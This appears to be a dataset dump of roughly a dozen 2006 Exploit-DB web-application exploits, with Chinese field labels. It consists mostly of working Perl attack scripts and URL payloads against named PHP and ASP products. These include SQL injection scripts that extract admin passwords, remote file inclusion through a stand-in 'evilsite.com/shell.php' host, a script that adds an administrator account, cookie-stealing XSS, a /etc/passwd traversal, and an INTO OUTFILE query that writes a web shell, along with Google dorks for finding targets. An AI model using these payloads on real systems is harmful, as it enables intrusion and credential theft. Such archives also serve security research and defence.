QLWD/code_shield huggingface dataset:
标题: Okul Merkezi Portal 1.0 - 'ataturk.php' Remote File Inclusion EDB-ID: 3012 CVE: 2006-6793 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-25 漏洞利用脚本: # LiderHack.Org & BhhGroup.Org & Bilgi-Yonetimi.Org.Tr

# script name : Okul Merkezi Portal v1.0

# GoogLe Dork : ogrencimezunlar.php

# Script Download : http://www.okulmerkezi.com/omdemo/

# Risk : High

# Found By : ShaFuck31

# Thanks : | Dekolax | The RéD | DesquneR | f1r3b0y | BaZaL | SaboTaqe | ST@ReXT | BLaSTER | UNiKnoX |

# Vulnerable file : ataturk.php

#Vuln :
http://www.victim.com/ScriptPath/ataturk.php?page=[sheLL]

#Contact: ShaFuq31 (at) HoTMaiL (dot) CoM [email concealed]

# milw0rm.com [2006-12-25] URL: https://www.exploit-db.com/exploits/3012
标题: eNdonesia 8.4 - '/mod.php/friend.php/admin.php' Multiple Vulnerabilities EDB-ID: 3004 CVE: 2006-6873 2006-6872 2006-6871 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-25 漏洞利用脚本: bugs for Endonesia8.4 
FInd:z1ckX(ru)
mail:map-master@mail.ru
1) http://localhost/en/mod.php?mod=[XSS]&op=viewlink&cid=5
2) http://localhost/en/friend.php your Friend:[XSS]
3) http://localhost/en/admin.php Main Text: [XSS]
4) http://localhost/en/mod.php?mod=informasi&op=showinfo&intypeid= ><script>document.write(document.cookie)</script>
5) http://localhost/en/mod.php?mod=../../../../../etc/passwd%00
6) http://localhost/en/mod.php?mod=diskusi&op=viewdisk&did=-4%20union%20select%200,0,name,0,pwd,0,0%20from%20authors/* - LOGIN AND PASS (MD5)
7) http://localhost/en/mod.php?mod=katalog&op=viewlink&cid=-2%20union%20select%200,pwd,0%20from%20authors%20where%20counter=1/*
8) http://localhost/en/mod.php?mod=diskusi&op=viewcat&cid=-2%20union%20select%200,0,0/*

-=====SHELL====-
http://localhost/en/mod.php?mod=diskusi&op=viewdisk&did=-4 %20union%20select%200,0,'<? system($cmd)?>',0,0,0,0%20from%20authors into outfile '/home/localhost/www/en/cmd.php'/*

-======dork=====-
inurl:mod.php?mod=diskusi&op=   

# milw0rm.com [2006-12-25] URL: https://www.exploit-db.com/exploits/3004
标题: MTCMS 2.0 - '/admin/admin_settings.php' Remote File Inclusion EDB-ID: 3005 CVE: 2006-6796 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-25 漏洞利用脚本: #!/usr/bin/perl
# +-------------------------------------------------------------------------------------------
# + MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Exploit
# +-------------------------------------------------------------------------------------------
# + Affected Software .: MTCMS <= 2.0
# + Vendor ............: http://www.mtcms.co.uk/
# + Download ..........: http://mtcms.co.uk/downloads/index.php?file=MTCMS-V2.rar
# + Description .......: "MTCMS is a PHP/MySQL, Content Management System (CMS)."
# + Class .............: Remote File Inclusion
# + Risk ..............: High (Remote File Execution)
# + Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
# + Requirements.......: register_globals = on
# +-------------------------------------------------------------------------------------------

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$remotefile = "http://evilsite.com/shell.php";

main();

sub usage
{
    print "\nMTCMS <= 2.0 Remote File Include Exploit\n";
    print "nuffsaid <nuffsaid[at]newbslove.us>\n";
    print "-h, --host\ttarget host\t(example.com)\n";
    print "-f, --file\tremote file\t(http://evilsite.com/shell.php)\n";
    print "-d, --dir\tinstall dir\t(/mtcms)\n";
    exit;
}

sub main
{
    GetOptions ('h|host=s' => \$host,'f|file=s' => \$file,'d|dir=s' => \$dir);
    usage() unless $host;
    $remotefile = $file unless !$file;
    $url = uri_escape($remotefile);
    
    $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
     or die "\nconnect() failed.\n";
     
    print "\nconnected to ".$host.", sending data.\n";
    $sendurl = "inst=true&ins_file=".$url."";
    $sendlen = length($sendurl);
    print $sock "POST ".$dir."/admin/admin_settings.php?b=addons&c=easy_add HTTP/1.1\n";
    print $sock "Host: ".$host."\n";
    print $sock "Connection: close\n";
    print $sock "Content-Type: application/x-www-form-urlencoded\n";
    print $sock "Content-Length: ".$sendlen."\n\n";
    print $sock $sendurl;
    print "attempted to include remote file, server response:\n\n";
    while($recvd = <$sock>)
    {
        print " ".$recvd."";
    }
    exit;
}

# milw0rm.com [2006-12-25] URL: https://www.exploit-db.com/exploits/3005
标题: Jinzora 2.7 - 'INCLUDE_PATH' Multiple Remote File Inclusions EDB-ID: 3003 CVE: 2006-6770 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-25 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ Jinzora <= 2.7 (include_path) Multiple Remote File Include Vulnerabilities
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.jinzora.com/
+ Affected Software .: Jinzora <= 2.7
+ Download ..........: http://www.jinzora.com/downloads/j2.7.tar.gz
+ Description .......: "Jinzora enables you to stream your digital music and videos to any internet connected computer using a web browser"
+ Dork ..............: "Jinzora Media Jukebox"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Jinzora has several scripts which do not initialize variables before using them to include
+ files, assuming register_globals = on, we can initialize any one of the variables in a query
+ string and include a remote file of our choice.
+
+ Vulnerable Code:
+ popup.php, line(s) 01-27:
+ -> 01: <?php define('JZ_SECURE_ACCESS','true');
+ -> 27: include_once('jzBackend.php'); //jzBackend.php is being included before the include_path var is set
+ jzBackend.php, line(s) 40-77:
+ -> 01: <?php if (!defined(JZ_SECURE_ACCESS)) die ('Security breach detected.');
+ -> 40: @include($include_path."settings.php"); //assumes the include_path var has been set
+ -> 77: include($css);
+ rss.php, line(s) 01-35:
+ -> 01: <?php define('JZ_SECURE_ACCESS','true');
+ -> 35: include_once('backend/backend.php');
+ backend/backend.php, line(s) 02-42:
+ -> 02: if (!defined(JZ_SECURE_ACCESS)) die ('Security breach detected.');
+ -> 42: include_once($include_path. 'system.php'); //assumes the include_path var has been set
+ ajax_request.php, line(s) 01-32:
+ -> 01: <?php define('JZ_SECURE_ACCESS','true');
+ -> 32: require_once('jzBackend.php'); //see jzBackend.php above for vulnerable code
+ mediabroadcast.php, line(s) 01-42:
+ -> 01: <?php define('JZ_SECURE_ACCESS','true');
+ -> 42: include_once('backend/backend.php'); //see above for vulnerable code
+
+ Proof Of Concept:
+ http://[target]/[path]/popup.php?include_path=http://evilsite.com/shell.php?
+ http://[target]/[path]/rss.php?include_path=http://evilsite.com/shell.php?
+ http://[target]/[path]/ajax_request.php?include_path=http://evilsite.com/shell.php?
+ http://[target]/[path]/mediabroadcast.php?include_path=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-25] URL: https://www.exploit-db.com/exploits/3003
标题: Fishyshoop 0.930b - Remote Add Administrator Account EDB-ID: 3011 CVE: 2006-6773 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-25 漏洞利用脚本: #!/usr/bin/perl
# James Gray <james6.0[@]gmail.com>
# Fishyshoop Security Vulnerability

use WWW::Curl::Easy;

sub usage() {
 print "$0 <Fishyshoop root URL> <Desired E-Mail> <Desired Password>\n";
 exit();
}

$FSURL=shift or usage(); $UNAME=shift or usage(); $PASS=shift or usage();

my $fishyshoop = new WWW::Curl::Easy;
$fishyshoop->setopt(CURLOPT_URL, "$FSURL?L=register.register");
$fishyshoop->setopt(CURLOPT_POST, 1);
$fishyshoop->setopt(CURLOPT_POSTFIELDS, "email=$UNAME&password=$PASS&is_admin=1&submit=1");
$fishyshoop->perform;

# milw0rm.com [2006-12-25] URL: https://www.exploit-db.com/exploits/3011
标题: NewsLetter MX 1.0.2 - 'ID' SQL Injection EDB-ID: 2998 CVE: 2006-6787 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-24 漏洞利用脚本: #!/usr/bin/perl
#[Script Name:  Newsletter MX <= 1.0.2 (ID) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.mxmania.net
#[$$         : 29.99 .
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  Newsletter MX <= 1.0.2 (ID) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/admin/admin_mail_adressee.asp?ID=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User <ID>    : ";
$ID = <STDIN>;
chop ($ID);

if ($ID =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

$len=length($ID);

if ($len == 1){}
else {
print "-- Exploit Failed[No User Id] \n";
exit();
 }

$target = "-1%20union%20select%200,0,fld_ID,fld_password,0,0,0,0,0,0,0%20from%20tbl_members%20where%20id%20like%20".$ID;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /headline\" style=\"font-weight: bold\">(.*?)<\/td>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /Fields\" style=\"font-weight: bold\">(.*?)<\/td>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-24] URL: https://www.exploit-db.com/exploits/2998
标题: Enthrallweb eJobs - 'newsdetail.asp' SQL Injection EDB-ID: 2988 CVE: 2006-6805 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-23 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Enthrallweb eJobs (newsdetail.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.enthrallweb.us
#[$$         : 179.40  USD
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 2){
print "
[========================================================================
[//  Enthrallweb eJobs (newsdetail.asp) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target] [path]
[//                   Example: exploit.pl victim.com /
[//                   Example: exploit.pl victim.com /path/
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "/jseekers/newsdetail.asp?ID=";
$target = "-1%20union%20select%200,U_ID,U_Password,0,0,0,0,0,0,0,0%20from%20users";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /<\/b><font color=\"#333333\" size=\"1\">(.*?)<\/font>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /<font color=\"#333333\" size=\"1\">(.*?)<\/font>/){ 
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-23] URL: https://www.exploit-db.com/exploits/2988
标题: Dragon Business Directory 3.01.12 - 'ID' SQL Injection EDB-ID: 2992 CVE: 2006-6804 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-23 漏洞利用脚本: *******************************************************************************
# Title   :  Dragon Business Directory <= V3.01.12 (ID) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.enthrallweb.us
# $$      :  179.40  USD

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//bus_details.asp?ID=[SQL]

Example:

//bus_details.asp?ID=-1%20union%20select%200,0,username,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20admin


[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# milw0rm.com [2006-12-23] URL: https://www.exploit-db.com/exploits/2992
标题: File Upload Manager 1.0.6 - 'detail.asp' SQL Injection EDB-ID: 2997 CVE: 2006-6813 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-24 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: File Upload Manager <= 1.0.6 (detail.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.mxmania.net
#[$$         : 29.99 .
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   File Upload Manager <= 1.0.6 (detail.asp) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/detail.asp?ID=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User <ID>    : ";
$ID = <STDIN>;
chop ($ID);

if ($ID =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

$len=length($ID);

if ($len == 1){}
else {
print "-- Exploit Failed[No User Id] \n";
exit();
 }

$target = "-1%20union%20select%200,0,fld_ID,0,0,fld_password,0,0,0,0,0,0,0%20from%20tbl_members%20where%20id%20like%20".$ID;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /<td width=\"290\" class=\"bold-text\"><div align=\"left\">(.*?)<\/div>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /<a href=\"files\/0\/(.*?)\" target=/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-24] URL: https://www.exploit-db.com/exploits/2997
标题: Enthrallweb emates 1.0 - 'newsdetail.asp' SQL Injection EDB-ID: 2990 CVE: 2006-6806 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-23 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Enthrallweb emates 1.0 (newsdetail.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.enthrallweb.us
#[$$         : 119.40  USD
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  Enthrallweb emates 1.0 (newsdetail.asp) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target] [path]
[//                   Example: exploit.pl victim.com /
[//                   Example: exploit.pl victim.com /path/
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "/newsdetail.asp?ID=";
$target = "-1%20union%20select%200,admin_username,admin_password,0,0%20from%20admin%20where%20id%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /<\/b><font color=\"#FFFFFF\" size=\"1\" face=\"Verdana, Arial, Helvetica, sans-serif\">(.*?)<\/font>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /<b><font color=\"#FFFFFF\" size=\"1\" face=\"Verdana, Arial, Helvetica, sans-serif\">(.*?)<\/font>/){ 
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-23] URL: https://www.exploit-db.com/exploits/2990
标题: Calendar MX BASIC 1.0.2 - 'ID' SQL Injection EDB-ID: 2993 CVE: 2006-6792 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-23 漏洞利用脚本: *******************************************************************************
# Title   :  Calendar MX BASIC <= 1.0.2 (ID) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//calendar_detail.asp?ID=[SQL]

Example:

//calendar_detail.asp?ID=-1%20union%20select%200,M_FIRST,M_PASSWORD,0,0,0,0,0,0,0,0,0,0,0,0%20from%20members%20where%20id%20like%201

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-23] URL: https://www.exploit-db.com/exploits/2993
标题: Enthrallweb ePhotos 1.0 - 'subLevel2.asp' SQL Injection EDB-ID: 2986 CVE: 2006-3027 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-23 漏洞利用脚本: *******************************************************************************
# Title   :  Enthrallweb ePhotos 1.0 (subLevel2.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.enthrallweb.us
# $$      :  179.40 USD

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//subLevel2.asp?Cat_ID=33&SUB_ID=[SQL]

Example:

//subLevel2.asp?Cat_ID=33&SUB_ID=-1%20union%20select%20U_ID,U_PASSWORD,0,0,0,U_email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20users

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-23] URL: https://www.exploit-db.com/exploits/2986
标题: Enthrallweb ePages - 'actualpic.asp' SQL Injection EDB-ID: 2991 CVE: 2006-6802 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-23 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Enthrallweb ePages (actualpic.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.enthrallweb.us
#[$$         : 179.40  USD
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 2){
print "
[========================================================================
[//  Enthrallweb ePages (actualpic.asp) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target] [path]
[//                   Example: exploit.pl victim.com /
[//                   Example: exploit.pl victim.com /path/
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "/actualpic.asp?Biz_ID=";
$target = "-1%20union%20select%200,0,0,0,0,0,0,0,0,0,0,0,0,123,U_Password,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12%20from%20users";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /<img src=\"images\/(.*?)\" border/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: admin\n";
}

if ($answer =~ /<img src=\"images\/(.*?)\" border/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-23] URL: https://www.exploit-db.com/exploits/2991